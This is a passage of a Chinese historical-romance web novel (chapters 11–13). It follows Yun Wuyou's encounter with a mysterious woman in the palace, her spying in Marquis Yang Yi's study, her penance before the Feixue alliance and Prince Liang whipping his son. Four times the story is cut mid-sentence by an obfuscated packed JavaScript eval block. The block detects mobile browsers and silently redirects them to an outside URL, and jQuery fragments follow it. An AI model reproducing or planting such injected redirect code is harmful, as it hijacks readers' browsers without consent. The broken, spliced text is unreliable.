她身量不高,一头乌发仅以木簪低低挽就,未着粉黛,不加坠饰,肤色略深,十分清瘦,看似平平无奇,但风骨嶙峋,气韵超然,孤傲如独立江心的白鹤。
而真正让云无忧再也挪不开视线的,则是她那双寒潭般的眼睛。
那双眼薄如柳叶,内里极沉静极幽深,眼珠亦如浓墨点就一般稠黑,仿佛什么样的事都无法在其中掀起一丝波澜。
是云无忧生平所见过最美最高贵的眼睛,几乎要将她整个人都吞没。
“不知姑娘是……”云无忧好奇道。
那素衣女子却答非所问:“如果是程曜灵,她方才一定不会放过昌平。”
听口气,似乎是个跟昭平郡主交情匪浅的,云无忧不自觉蹙起眉头,深觉棘手。
素衣女子见云无忧这副警惕的样子,轻笑一声抬腿走到桌案后的椅子上落座。
而伴随着她走动,一个美貌惊人却透着点阴柔的太监也跟在她身后出现,时刻侍奉在侧。
云无忧直觉这对主仆不好对付,拱手退避:“在下尚有要事,就先退下了。”
“急什么?”素衣女子一个眼神,身边的美貌太监就拦住了云无忧的去路,他身手矫健,明显是个练家子。
云无忧偏头看向素衣女子,不明白她究竟意欲何为。
二人对视片刻,素衣女子忽地笑开:“你不是想走吗?杀了拦路之人,自然就可以走了。”
她笑声如雪,说话却像催命
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15506058|170488||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
阎罗,美貌太监拦着云无忧的手登时颤抖起来,额上也渗出涔涔细汗。
“你这是什么话?!”云无忧反应过来素衣女子言中之意,惊怒地瞪视着她,像只炸开了羽毛的野雀。
素衣女子面上笑容愈发浓深,起身缓步走到美貌太监身旁,十分怜香惜玉地抚着他的脸颊,唇齿张合,语调轻柔却让人不寒而栗:
“今日不是她死,就是你亡。”
“哐当”
素衣女子从袖中掏出一把匕首扔在地上,笑着退回了座椅中,脸上是种等着看戏的兴味盎然。
如她所愿,那美貌太监并未有丝毫犹豫,一把捡起匕首就拧身朝云无忧刺了过去。
云无忧飞速后撤避开这一击,一时间大感荒诞,怒不可遏地对素衣女子厉声嘶吼:
“你拿人命当什么?!”
素衣女子只是笑,目光幽深如古井。
而眼看着美貌太监招招致命,云无忧也不再留手。
二人缠斗一番后,云无忧缚住美貌太监的脖颈,将他摔倒在地,顺势夺过匕首,刃尖直指他眉心。
美貌太监有些不甘地闭目,眼皮紧颤,面色惨白,显然是在等死了。
云无忧此刻却手腕一转,旋身攻向两步外的素衣女子,眨眼之间就将匕首横在了她的颈侧。
说白了,那美貌太监不过是个打手,真正的恶人,还得是这位杀人不沾血的。
美貌太监见状惊恐不已,连滚带爬地上前阻拦,素衣女子却抬手制止了他的动作,她仿佛看不见那把随时能要了她命的匕首,平静地对云无忧道:
“你赢了,作为奖赏,我同你讲讲程曜灵从前的事吧。”
这的确是云无忧感兴趣的事,但她还是没有收回匕首,思索了一会儿谨慎道:“你们是何关系?”
素衣女子闻言低垂了眼眉,沉吟片刻后轻声说:“我们曾是同窗。”
“程曜灵,我,还有昌平,从前都曾是北宫女学的学生。
当时女学还没有这么多老师,平溪居士教的也不是君子六艺。
入学前,她给我们出了三道题目:议自身、议天地、议众生,三选其一,也就是你方才所看到的那些文章。
程曜灵当时从塞北入京还不足半年,长得跟别人府门前摆着的石狮子一样敦实,连官话都说得磕绊,费了九牛二虎之力,好不容易才作出一篇文章来。”
话说到此处,她的神情中竟带了些许怀缅的温情。
云无忧觉得似有不对,问她:
“等等,临阳程氏是嘉州世族,如果我没记错,嘉州位于京城的东南方向,并不是北部三州之一,昭平郡主怎么会是从塞北入京?”
大央最北有三州,自西向东分别是燕州、沧州、朔州,朔州的朔北自前朝时便被东翎人占据,一直不曾收复,是大央几代君主共同的心头之恨。
燕州和沧州则向来被北戎人垂涎,也交战过多次,时有摩擦,但始终还是守住了。
素衣女子道:
“先帝天授元年时,北戎人叩关,恰逢程曜灵生母忠节夫人回沧州省亲,当时她身怀有孕,将孩子诞在了沧州边郡,可惜战乱中她们母女失散了。
直到天授十三年,程曜灵才认祖归宗。”
云无忧又问:
“天授元年那场沧州之战我是知道的,北戎人来势汹汹,但最终被年仅弱冠的天将军邓显打得溃不成军,还有一部分归附咱们大央,成了沧州北部的戎人部落。
但我不明白的是,忠节夫人明明有孕在身,为何一定要回到当时战乱频发的沧州省亲?还跑到了边郡?”
11. 伯牙子期
素衣女子道:
“当时程曜灵生父已逝,许是她孕中思亲。”
这个答案难以使云无忧信服:“那为何不是亲人进京,非要她一个身子不便的人北上呢?”
素衣女子食指轻敲桌案:“此乃忠节夫人家事,旁人怎知?”
云无忧也知道自己问得多了,有些讪讪:“我们方才说到哪儿了?”
素衣女子仰身靠向椅背,继续道:
“说到程曜灵入学的事,那时她刚入学文章便丢了,急得在大吉殿到处问,声量又高,举止又粗鲁,惹来一殿贵女的嘲笑。
好在这时候出现了一个不嫌弃她的人带她找文章,文章找不到,又带她去给平溪居士道歉。”
“那个人是你?”思忖着她方才提及旧事的神情,云无忧问道。
素衣女子轻笑:“不是我,是昌平。”
“昌平公主?!”云无忧惊诧。
素衣女子对她双眼睁得溜圆的模样似乎颇为满意,笑着点了点头:
“昌平可是程曜灵来京城后的第一个好友,不过……其实程曜灵的文章也是她藏的。”
“为什么?”云无忧不解。
素衣女子道:
“这就要提起一桩旧事了,当年太宗以兄长之名,邀先帝入宫赴家宴,二人对饮时,先高唐侯,也就是程曜灵生父程粲为先帝挡酒,结果宴会未毕便七窍流血而亡。
他与先帝是总角之交,情同手足,先帝即位后始终感念他替死之功,因此程曜灵一入京便被封了郡主,封号昭平。
昭平、昌平,这两个封号里都有一个平字,可昌平是公主,怎能容忍一个外姓的郡主和她重了封号,一个字也不行。”
“听起来的确是昌平公主的做派。”云无忧撇嘴。
素衣女子笑了笑,话头又转回了当年之事:
“昌平带程曜灵到含仪殿找平溪居士道歉的时候,平溪居士刚经历一场宿醉,听了只觉得是贵女们懒怠不愿写,并不想管。
奈何程曜灵是个蠢的,平溪居士有意放过她,她却不依不饶,在平溪居士面前嚎啕起来,哭得鼻涕都流到嘴边,大声说她写那篇文章有多不易,指责平溪居士治学敷衍。
吓得平溪居士酒都醒了,让她重写一篇,她这才肯罢休。
等她重写完,昌平告诉她,在我的桌上发现了她之前丢的那份文章,她便又气势汹汹地跑来质问我。”
云无忧问:“你承认了吗?”
素衣女子:“我自然不承认,但昌平提前将那份文章藏在我琴谱里,当众抖落了出来,我不承认又能如何。
好在程曜灵这人外强中干,最后也没把我怎么样。”
“或许是她相信了你的话?”云无忧听得入迷,收了匕首。
素衣女子神色平淡:“她那时最相信的是昌平,昌平……后来其实也是真心视她为友的。”
云无忧有些不相信:“是吗?但我看昌平公主提起她时可都是一副不共戴天的口气”。
素衣女子闻言有些倦怠地低声道:“那都是之后的事了。”
“她们是怎么反目成仇的?”云无忧追问,猜测着会不会是因为程曜灵跟昌平公主的驸马有纠缠。
此时素衣女子却一只手抚上额头,恹恹闭目:“说了这么多,我也累了,你退下吧。”
云无忧见她下了逐客令,也记挂着自己未时的课,于是没有多说什么便转身退下,只是走到门口时,她忍不住发问:
“你方才想要我的命,是因为昭平郡主也抢过你的男人吗?”
身后默了片刻,猛地传来一阵低笑。
云无忧也忽然意识到自己这话似乎问得太荒诞粗俗,连忙带着臊意落荒而逃。
从正门出殿后,她回头一望,只见匾额上赫然写着三个烫金大字“含仪殿”。
照那素衣女子方才所言,这含仪殿即是平溪居士从前所居之地,难怪会存有当年贵女们所作的文章,遇到曾经女学里的学生也不奇怪了。
不过回想起来,那个素衣女子……似乎从未叫过平溪居士老师。
而且她对昌平的态度十分随意,那美貌太监也对她恭顺得可怕,她还能在宫中带着匕首自由行走……她究竟是何身份?
此时天色已近未时,云无忧摇摇脑袋,还是将疑惑藏在了心底,快步前往靶场。
不出所料,今日的靶场还是只有一个人,云无忧也乐得轻松,教完阿诺后便离宫,直奔信平侯府而去。
她在信平侯府外围绕了两圈,发现果然如杨弈所言,那棵梧桐树下的矮墙是最好翻越的。
而杨弈既然有言在先,云无忧便也不欲客气,她真就从那矮墙上翻进了信平侯府。
在茅屋外落地,云无忧思量片刻,觉得此处简陋,又毫无防卫,应当不会藏有羽林军军印,于是回想着之前记忆,小心翼翼前往杨弈的书房所在之地。
她的功夫一向不赖,在有备而来的情况下,躲过信平侯府内部的护卫不算难事。
顺利抵达杨弈书房外,云无忧听见里面似乎有两个人声正在交谈,于是藏在窗下的隐蔽之处偷听起来。
“你的意思呢?”一个雄浑的男声,听起来有些年纪了,应当不是杨弈,
“从燕州返京,乡阳谷是必经之地,在此设伏原本最为妥当,但我们能想到的,良王也一定想得到。”
这是杨弈的声音。
他们这是要对付良王?!
云无忧被听到的消息惊住,一时间乱了心神,竟没注意到书房内突然变得十分安静。
瞬息间,眼前寒光乍闪,云无忧扭身躲过后,见一把剑正刺破窗户径直向她而来。
被发现了。
云无忧眼睛一眨,转身欲逃,却瞬间被不知从哪里冒出来的一堆护卫包围。
见状云无忧并未轻举妄动,在心里飞快盘算着眼前形势,思量着该如何收场。
这时杨弈和一个身形魁梧、须髯如戟的中年男子从护卫中走了出来。
见到被围在中间的云无忧,杨弈显然吃了一惊。
云无忧强自镇定地冲他笑笑,试图为自己解释一番:“侯爷……”
谁知她话还没说完,杨弈便扭脸对着中年男子温声道:
“大将军,误会了,这是我府上新来的婢女,应当是来打扫书房的,大概是对府里还不熟悉,所以有些毛手毛脚,并非刺客
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15506059|170488||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
那中年男子威势迫人,眯起眼看杨弈:“遥臣,你最好不是在骗我。”
杨弈笑得滴水不漏:“不敢欺瞒大将军。”
又转头对云无忧道:“无忧,冲撞了岑大将军还不过来道歉。”
没料到杨弈会在岑大将军面前为她解围,云无忧有些怔忡,但有台阶不下是傻子,她当即走到岑大将军面前行礼道歉。
还没抬起头,她便又听见杨弈道:“还不快去书房里打扫,要是再毛手毛脚的,我可不会留情了。”
杨弈这是什么意思?为她解围还不算,现在还让她进书房?
云无忧心中惊疑不定,一片茫然,但面上还是装作一副诚惶诚恐的样子连连点头,随后有些恍惚地走进书房。
站在书房里,她手下有些僵硬地整理着桌案,直到听见杨弈和岑大将军的交谈声远了,她才渐渐回过神,坐到椅上若有所思。
杨弈对她的态度很古怪,宽和得过分,前几天突然将她带到信平侯府,然后毫不避讳地告知她矮墙之事,如今又为她解围,毫不设防地对她大敞书房。
这一切就因为她肖似昭平郡主吗?
实在想不出个定论,云无忧揪了揪眉心,暂时将这些抛诸脑后,开始在书房里以打扫之名,行搜寻羽林军军印之事。
可惜她将书房翻了个底儿掉,也没见到军印的影子。
锲而不舍地搜寻了三遍之后,她不得不承认,军印应当不在这里。
正当她有些泄气之时,杨弈走进书房,语气熟稔道:“你今日怎么来了?”
他自然得好像在问一个闲暇时过来拜访他的友人。
云无忧立即打起精神,她一只手搭在桌上,低下头去有些忸怩道:
“我、我就是试试那矮墙能不能真的翻过去,没想到竟然迷了路……”
一番话半真半假,含羞带臊,这是云无忧方才想了半天的应对之策。
毕竟从林寻以前给她讲过的那些话本子来看,世间最难解的便是情之一字,人为情愫所驱时,做出什么样惊天动地的蠢事都不奇怪。
眼下让杨弈以为她心存爱慕,不能自抑,是最好的蒙混之道,也方便日后接近。
杨弈见她如此,低头轻笑一声,走过去牵住她的手腕:“跟我来。”
二人走到府内茅屋前,小厮已抱着琴等在那里。
杨弈放下云无忧的手,从小厮处拿过琴放在桌上,随后坐在桌前拨动琴弦,玉葱般白皙纤长的手指下,琴音缓缓流出,清澈如泉响。
一曲罢,小厮满脸得意,对着云无忧夸耀:
“雍丘杨氏的琴艺传承三百年,在整个大央都是数得上名号的,我家侯爷的琴音更是冠绝京城,多少人想听都听不到,方才那曲《凤求凰》还从未在人前奏过呢,姑娘今日有耳福了。”
云无忧立即顺着杆子往上爬,坐到杨弈身旁对他笑道:“侯爷琴音宛如天籁,得闻此曲,我三生有幸。”
虽然她压根儿不懂琴,但好坏还是能鉴别的,杨弈的琴艺确实非同凡响,那小厮之言不算吹嘘,如此琴音说冠绝京城,她是信的。
只是不知为何,她总觉得自己听过比这更好的。
12. 入戏太深
将云无忧的赞声收入耳中,杨弈自谦道:“山外有山,楼外有楼,我的琴艺,勉强算是说得过去罢了。”
云无忧闻言正欲再度吹捧他一番,杨弈却话头一转,面上颇有歉意地低声道:
“先前在府中误遇昌平公主一事,是我之过。”
语气诚恳非常。
云无忧见状,立即故作黯然:“侯爷有侯爷的难处,我都明白,只要侯爷……”
说到此处,她对杨弈勉强一笑,没有将话说完。
杨弈闻言叹息:“这世上事不由人,只要你能明白我便足够了。”
明白什么?明白你的势利凉薄吗?云无忧心中冷嘲,她可没忘了初见那日她为杨弈解围,杨弈却一句话就把她卖给段檀的事。
不过世间男女谈情说爱大都如此,什么时候不肯再揣着明白装糊涂了,也就该散了。
于是云无忧十分善解人意地抚上杨弈的手以作宽慰。
杨弈对她展颜一笑,婆娑树影里,斑驳的晴光正掠过他清瘦面庞,那双琥珀色的眼睛在长睫下灼灼发亮,显露出一份世间难寻的温雅与俊美,看得云无忧晃了神。
说起来,其实杨弈跟段檀一样,都生了一双凤眼,只不过段檀是丹凤,平素眉目凛然,冷傲矜贵,总是高不可攀,让人望而生畏。
杨弈则是瑞凤,眼尾含情,清柔而内敛,顾盼之间自有风流,常给人一种触手可及的错觉。
回神后云无忧立即故作羞怯地低下头去,心道杨弈为人虽假,美貌却真,她若是个未经人事的小姑娘,恐怕也少不得在这样的翩翩公子身上栽一回。
杨弈唇边噙着笑意,伸手去靠近云无忧的脸颊。
这动作暧昧得过了分,云无忧心中一颤,下意识向后躲,杨弈却只是从她发髻上取下一片梧桐青叶,专注而怜惜地看着她:
“程太史令烧尾宴上的事,真是委屈云姑娘了。”
云无忧抬眼看他:“侯爷都知道了?”
杨弈将那片梧桐青叶轻轻搁在石桌上,忧心忡忡地叹息:
“此事小良王实在办得糊涂,云姑娘你心性高洁,怎能为人替代呢?再者你现在还入了宫,若被人在御前揭破,又该如何自处?”
他这话说得好听,再加上云无忧对段檀早有不满,顿时万分赞同地点头附和:“侯爷说得极是,真不知小良王为何非要让我装做昭平郡主。”
杨弈又是一声轻叹:“我只为你不值,你是个好姑娘,不该顶着旁人的名头过活,这对你太不公平了。”
话到此处,他拨弄了一声琴弦,在荡漾开的琴声中低低吟咏:“援琴鸣弦发清商,短歌微吟不能长。明月皎皎照我床,星汉西流夜未央。”
云无忧眨了眨眼,没听懂。
杨弈认真的看着她眼睛,柔声解释:“这诗是说,奏琴者思念良人,以至于琴声断续,夜不能寐,正如你我初见那日,我辗转反侧,彻夜熏香,却还是无法入眠。”
这下云无忧就算再不解风情,也明白了杨弈是在对她表明心迹。
她几乎是立刻察觉到危险,犹如一瓢冷水当头浇下,身上每根寒毛都竖立,心中生出无限警惕。
她早已不是怀春少女,根本不会因为俊俏郎君的几句漂亮话就昏了头。
杨弈此人纵横朝堂,心机深重,怎么可能对一个根本没见过几面的女子倾心相待,即便她再肖似昭平郡主也不可能,恐怕唯一的解释是,他也对她有所图。
但她一个孤苦寡妇,杨弈这种王孙公子能图她什么呢?
云无忧长睫颤了颤,杏目微垂,面上十分配合地流露出芳心暗许的小女儿情状,口气患得患失:“侯爷,你……你怕不是也将我当作昭平郡主的替代了吧?”
杨弈情意切切:
“云姑娘,少年情事固然难忘,但我也不至于认不清自己的心,或许方才之言,是我唐突了,你莫要见怪。
我也知道你如今处境艰难,但我希望你记得,无论如何,这世上都会有一个人在等着你,那个人只要能跟你说上几句话,就已经心满意足。”
知道她艰难,却坐视不救,只在这里耍嘴皮子。
云无忧越听这些甜言蜜语,就越笃定杨弈心怀叵测,本来也想热泪盈眶地大肆挥洒一番,奈何天分有限,实在挤不出眼泪,只好低着头忸怩道:
“侯府太大了,我怕下回来找侯爷,又要迷路……”
杨弈想在她身上图谋什么都是其次,最重要的是,她现在要图谋杨弈的军印。
杨弈微微笑,如她所愿道:“我带你四处走走吧,往后熟悉了便好。”
二人在信平侯府同游许久,直到黄昏时,云无忧才回到良王府。
而卧房中,有一个人正在等她。
“你去了何处?”段檀端着茶坐在椅上,茶盏之上热气氤氲,模糊了他原本轮廓分明的脸,让人看不清他的神色。
“去东街逛了逛。”
与杨弈的交往毕竟有隐秘,知情者自然是越少越好,再加上段檀一向不喜杨弈,云无忧也不欲给他添堵,于是便没有说实话。
段檀又问:“回春坊今日有人作天女散花之景吗?”
云无忧道:“我看回春坊人太多,便没过去。”
段檀继续发问:“你身上衣裳不像是出自良王府,在东街新买的?”
云无忧觉得段檀再这么问下去她迟早露馅,于是倒打一耙道:“小王爷这是在盘问我?”
她说话时笑容不善,段檀见状缓缓将茶盏盖上,热雾消散,露出他锐利眉目:
“你去了信平侯府,为何瞒我?”
云无忧警觉:“你监视我?”
段檀避开了她的目光,眼睫半垂,看向茶盏中浮动的叶片,语气轻得几乎像自言自语:“不是监视。”
是他下午得空,心血来潮扮作车夫去重明宫门口等人,却看见他等的那个人走出长乐门,走过凤凰街,走进了梧桐巷。
总是这样,他再怎么苦心孤诣,也比不过她心上那个人什么都不做。
积年的沉重倦意压上心头,夹杂着酸苦,夹杂着难堪,然而他仍不肯放弃,又固执地低声道:“杨遥臣沽名钓誉、虚伪至极,这是你说过的。”
话到此处,段檀顿了顿,像是溺水之人抓住浮木一般,积攒了些许气力后,才终于抬眼直视云无忧:“即便如此,你也还是放不下他吗?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15506060|170488||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看着段檀那双沉沉的凤眼,云无忧思量一瞬,心道段檀这是入戏太深,真拿她当昭平郡主,在吃杨弈的醋。
她微微抿唇,自觉这事与她无关,保持缄默,站在原处任由寂静在房里蔓延。
“我明白了。”段檀终究是败下阵来,低眉自嘲一笑。
为了输得不那么难看,他周身凝起一层寒冰,冷着脸扔下茶盏,拂袖而去。
见段檀撂下一句话抬腿就走,云无忧皱起眉头,她本想设法向段檀暗示良王可能遇刺的消息,可如今段檀这阴晴不定的样子,叫她如何开口。
罢了罢了,自己要拿的军印都还没着落,何必去管别人死活。
云无忧开始回想今日在信平侯府的所见所得,琢磨着杨弈会将羽林军军印藏在哪里。
结果到了半夜,她思来想去还是从床上爬起来,用左手写了张字条扔进段檀书房。
央国的权贵们大都是蛇鼠一窝死有余辜,可良王毕竟镇守边关多年,有保家卫国之功,算是难得的社稷之臣,若死在阴损的盘外招上,未免太冤枉。
此后的大半个月里,云无忧不是去宫里授课,就是跑到信平侯府暗探军印下落,她倒没忘记之前跟段檀的约定,入夜前都会回到良王府。
然而尽管如此,云无忧依旧没能找到军印的下落,眼看着到了月末跟盟主约定的日子,她虽心下惴惴,却还是来到了飞雪楼。
飞雪楼位于京郊东南侧,周边环境颇为萧条,本是个废弃已久的酒楼,被飞雪盟占据后才更名,盟众们为避人耳目,门上连匾额都不曾挂。
云无忧踏进飞雪楼,门口的盟众见她到来,立即将楼门关闭,门外并不强烈的光线只能透过窗格照进楼里,稀稀疏疏投射在一楼零星坐着的几个人身上。
云无忧瞥了一眼坐在楼梯口那位须发皆白、神情威严的拄拐老者后,收回视线,静静站在原地等待。
过了一会儿,盟主苍老嘶哑的声音在第七层的楼顶响起:“羽林军军印,你带来了吗?”
飞雪盟盟主长戴面具,从不以真面目示人,盟众们时常靠这独特的嘶哑嗓音来辨认其身份。
将盟主的问询收入耳中,云无忧面露惭色,默了片刻后低声道:“不曾。”
楼里登时哗然起来。
拄拐老者抬起拐杖指着她,颤颤巍巍道:“你可是立过生死状的!”
这位是飞雪盟中的大长老,为飞雪盟倾尽一生,辈分和威望都极高,云无忧入盟以来,从没见过有人敢顶撞他。
大长老都发了话,云无忧深吸一口气,双膝一弯跪在了地上凝声道:
“是我耽误了救人的时间,让三位同盟徒然赴死,罪不容诛,听凭处置。”
楼内安静了半晌后,盟主道:“羽林军军印并非易得之物,我想再给无忧一次机会,大家可否同意。”
楼里从上到下、四面八方陆续传来同意的声音,回荡在云无忧耳畔,浓重的愧疚如岩浆般烧灼着她的心,脸上的血烫得几乎要沸腾。
盟主见状想要做下决定:“既是如此……”
大长老高声打断了他的话:“死罪可免,活罪难逃,否则日后这生死状有何威严?!”
13. 良王归京
楼内一时寂静,无人敢作声。
云无忧转头看向大长老开口道:“我甘愿领罚。”
大长老沉吟片刻,对她道:“你跪行到七楼,在楼顶向大家谢罪。”
这已是十分宽赦,云无忧没有犹豫一刻,立即依言照做。
她挪动双腿,开始向楼梯口膝行,一路瞥见诸多盟众黑亮的眼睛,却不敢同他们对视一瞬。
不是末路人,不入飞雪盟。
今日是她云无忧背诺,辜负了大家。
抵达七楼的时候,她面色惨白如纸,汗湿全身,膝盖处也隐隐洇出鲜血。
谢罪完毕,盟主和几个盟众围过来搀她,他们眉宇间镌刻着沉重的苦难,却每双眼睛里都溢满担忧和安慰,没有一丝一毫的失望和责备。
云无忧几乎要在这样的眼光中溺毙,半个身子都在发麻。
她堪堪拾回力气,强撑着推开众人,在七楼指天立誓:
“下月拿不回军印,我便从此处跃下,坠地而亡。”
再死一万次也罢,她只要对得起这些闪着光的眼睛。
……
离开小楼回到良王府,云无忧给自己上起了药。
卧房中,她坐在椅上利落地褪下外裤,将里裤卷至大腿,拿起桌上治外伤的药膏便准备往双膝上抹。
“你受伤了?!”段檀人还没走进门,声音便传到了云无忧的耳朵里。
云无忧循着声音转头看他,怔愣一会儿后,对他点了点头。
这是大半个月来段檀跟她说的第一句话,太久没跟段檀说过话了,如今骤然听到他的声音,云无忧还觉得有些稀奇。
段檀此时已走到她身侧,目光停在她血肉模糊的双膝上一动不动,唇线抿得死紧,仿佛在极力压抑着什么,许久才哑然出声:“药膏给我。”
云无忧将药膏递给他。
他接过药膏,动作娴熟地往云无忧伤口上涂抹起来。
而云无忧望着他认真的侧脸,感受着他微凉的手指在膝上游走,那句本要出口的“还是我自己来吧”,不知为何就咽回了喉咙里。
涂完了药,段檀将药膏放在一旁,坐在云无忧身侧掏出手帕,慢条斯理地擦起了手指。
就在云无忧以为段檀要延续之前大半个月的做派,一直晾着她的时候,段檀将手帕扔在桌上,冷不丁开口道:
“伤是怎么来的?”
云无忧当然不会说实话,她迟疑片刻,正准备开口,就听见段檀冷笑一声:
“还是别说了,我不想听你扯谎。”
云无忧闻言,觉得段檀难得善解人意一回,于是认真谢道:“劳烦小王爷今日为我擦药,此恩来日定当报答。”
段檀闻言冷笑更甚:“来日?来日你莫让我给你收尸便好。”
语罢云无忧这个被骂的还没生气,他这个骂人的倒是牙关紧咬胸膛起伏,连呼吸都重如千钧,仿佛猛然被谁扼住了咽喉,面色也阴沉得恐怖。
云无忧见状有些不解地眨了眨眼,没明白这人怎么突然就把自己气成这样了。
这时戚娘兀的快步闯入房中急道:“小王爷,王爷回府了!”
段檀即刻站起身,对戚娘道:“尽快给世子妃梳妆打扮,我要带她去见父王。”
“小王爷……”戚娘略有些迟疑。
段檀扫了她一眼,她立即噤声,走向云无忧。
“良王回府,我为何要去?”
云无忧躲开戚娘过来搀她的手,看着段檀发问道。
段檀面无表情,语气冰冷:“因为我要你去。”
云无忧下意识反驳:“可我不是……”
段檀凝视着她的眼睛,双眸幽冷,神色骇人,仿佛她再多说一个字就会被掐断脖子。
就当还他今日涂药之恩,云无忧妥协,攀着戚娘的胳膊站起身,二人一同走到了妆台前。
戚娘为她梳完妆,云无忧看着铜镜中的自己暗叹,这么正直纯良的一张脸,竟然马上就要去蒙骗长辈,真是造孽。
因她膝上有伤,站起身时段檀本想搀她,被躲开后收回手,即刻转身走出了门。
云无忧跟在段檀身后,步子虽然迈得缓慢但还算稳当,看着他明显有些负气的背影,又是一头雾水,她都答应在良王面前扮昭平郡主了,段檀还在气什么?
不过段檀一向就这么阴晴不定莫明其妙,她差不多也习惯了。
不久后,二人一前一后停在正厅门口,段檀一把牵住云无忧手腕,怕她挣脱似的锁得死紧。
云无忧感受着手腕上传来的力道,嘴角略微抽动,但思及良王就在厅里等着,还是没说什么。
假媳妇儿总要见公婆,好在戚娘说过良王并无正妻,妾室也大都在燕州老宅,她此番只用拜见良王一个人。
云无忧跟在段檀身侧迈入正厅,走到主位前随他一齐跪拜道:“见过父王。”
耳畔传来茶盏被搁在桌上的动静,一个低沉冷肃的男声在头顶响起:“起身。”
段檀搀着云无忧一同站起身,云无忧暗暗打量着此刻坐在主位上的良王。
他看着约莫四十来岁,高大英俊,肤色颇深,一双眼睛锐利如鹰隼,气质却极为沉毅,没有半分京中贵族的骄狂放诞,正是胸有惊雷而面如平湖的大将风范。
但不知为何,云无忧总觉得他眉目间有股微妙的熟悉感……大概是最近看他儿子段檀看多了吧。
段檀对他恭敬道:“父王,这是曜灵,我在信中提过。”
良王微微瞥了一眼云无忧的左手掌心,当即抓起茶盏朝段檀头上扔了过去。
没料到良王会突然发难,云无忧下意识想抬手帮段檀挡住袭来的茶盏,却被段檀一把拦住。
茶盏结结实实砸在段檀额角处,刹那间血水便混着茶水流淌过他的侧脸,而他就这样沉默地站在原地受了这一击。
自相遇以来,云无忧从未见过段檀这般狼狈模样。
他一向霸道、倨傲、高高在上、冥顽不灵,冷硬如积年寒冰,云无忧恼过他、恨过他、也想过杀他。
但此刻见他如此,不知为何,心中却毫无欢欣之意,只有一股烈焰越窜越高,燃及肺腑,几乎要将她烧穿了。
云无忧扭头看向良王,强压着火气道:“您这是何意?”
良王对她的话置若罔闻,也并未看她一眼,只是面色平淡地对着身侧侍从道:
“将孤的钢鞭取来。”
侍从应声照办,向着厅外走
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15506061|170488||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去。
这时,段檀放下他一直搀着云无忧的手臂,低声道:“出去。”
云无忧皱眉看向他,眼中尽是疑问。
段檀垂下眉目,用一种不容反驳的语气再次命令道:“我说,出去。”
云无忧站在他身侧定定的看着他,就是不为所动。
段檀仍不看她,将她往门口狠推了一把道:“这是我们父子之间的事,与你无关。”
云无忧被推得一个踉跄,她本就膝上有伤,现在见段檀如此表态,也不再坚持,站直了身体缓缓走向正厅之外。
但她还没迈出两步,就见侍从捧着一把长约三尺、分节凸起的虎尾重鞭快步走进了正厅。
见状她脚步一顿,但思及段檀方才所言,还是没有停留。
人家父子的事,她一个外人跟着瞎掺和什么,何况段檀再怎么说都是良王独子,良王总不会真把他怎么样。
身后,段檀双膝跪地的声音、良王挥鞭的声音、重鞭砸在人身上的声音,一道道陆续传入耳中。
云无忧越走越慢,双腿如灌铅,每一步都沉重无比。
正厅中,重鞭砸在人身上的声音越来越清晰,却始终听不到一声痛呼。
直到段檀倒地的声音传来,云无忧终究还是忍不住转身折返。
她走到段檀身侧,直视良王道:“小王爷给您的信中,是否有提及您归京途中或将遇刺之事。”
段檀此时已再次挺直了脊梁,见她去而复返,哑着嗓子斥道:“你还回来做什么!”
下一刻,良王的虎尾重鞭就更快更狠地砸到了他背上。
段檀闷哼一声,这回硬是咬牙撑住了没有倒地。
而云无忧见良王一直视她如无物,也不再等他回应,拔高了声音道:
“如果那消息对您有用,那您许是欠我一个人情。”
良王终于分给了云无忧一个眼神。
云无忧见他有了反应,明白此事可用,继续道:
“那消息是我传给小王爷的。”
“如果您肯承此人情,我请您这回暂且放过小王爷。”
良王将虎尾鞭扔给一旁的侍从。
云无忧松了口气,正欲弯腰去扶段檀,却见他已经强撑着自己站起了身。
“今夜亥时,到书房候着。”
对段檀撂下这句话后,良王转身离去,侍从也捧着钢鞭跟在他身后一同离开了正厅。
